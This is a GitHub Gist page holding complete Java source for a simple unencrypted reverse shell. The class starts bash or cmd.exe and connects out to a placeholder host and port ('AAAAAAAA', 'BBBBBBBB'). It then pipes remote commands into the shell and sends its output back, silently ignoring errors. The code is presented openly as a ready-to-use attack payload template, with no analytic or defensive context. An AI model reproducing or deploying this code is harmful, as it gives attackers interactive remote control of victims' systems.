-
-
Save j-baines/38eb6d16eed64986a369f7f981f57508 to your computer and use it in GitHub Desktop.
Simple Unencrypted Java Reverse Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.net.*; | |
import java.lang.Integer; | |
import java.io.InputStream; | |
import java.io.OutputStream; | |
import java.io.BufferedReader; | |
import java.io.InputStreamReader; | |
import java.io.BufferedWriter; | |
import java.io.OutputStreamWriter; | |
public class ABCDEFG { | |
static final String host = "AAAAAAAA"; | |
static final String port = "BBBBBBBB"; | |
public ABCDEFG() { | |
try { | |
String shell = "bash"; | |
if (System.getProperty("os.name").indexOf("Windows") != -1) { | |
shell = "cmd.exe"; | |
} | |
Process p = new ProcessBuilder(shell).redirectErrorStream(true).start(); | |
Socket rs = new Socket(host, Integer.parseInt(port)); | |
BufferedReader socketInput = new BufferedReader(new InputStreamReader(rs.getInputStream())); | |
BufferedWriter socketOutput = new BufferedWriter(new OutputStreamWriter(rs.getOutputStream())); | |
BufferedWriter processInput = new BufferedWriter(new OutputStreamWriter(p.getOutputStream())); | |
BufferedReader processOutput = new BufferedReader(new InputStreamReader(p.getInputStream())); | |
while (!rs.isClosed()) { | |
String data; | |
if ((data = socketInput.readLine()) != null) { | |
processInput.write(data + "\n"); | |
processInput.flush(); | |
} | |
java.lang.Thread.sleep(50); | |
int charOut = 0; | |
while (processOutput.ready() && (charOut = processOutput.read()) > 0) { | |
socketOutput.write(charOut); | |
} | |
socketOutput.flush(); | |
try { | |
p.exitValue(); | |
break; | |
} catch (Exception e) { | |
} | |
} | |
p.destroy(); | |
rs.close(); | |
} catch(Exception e) { | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment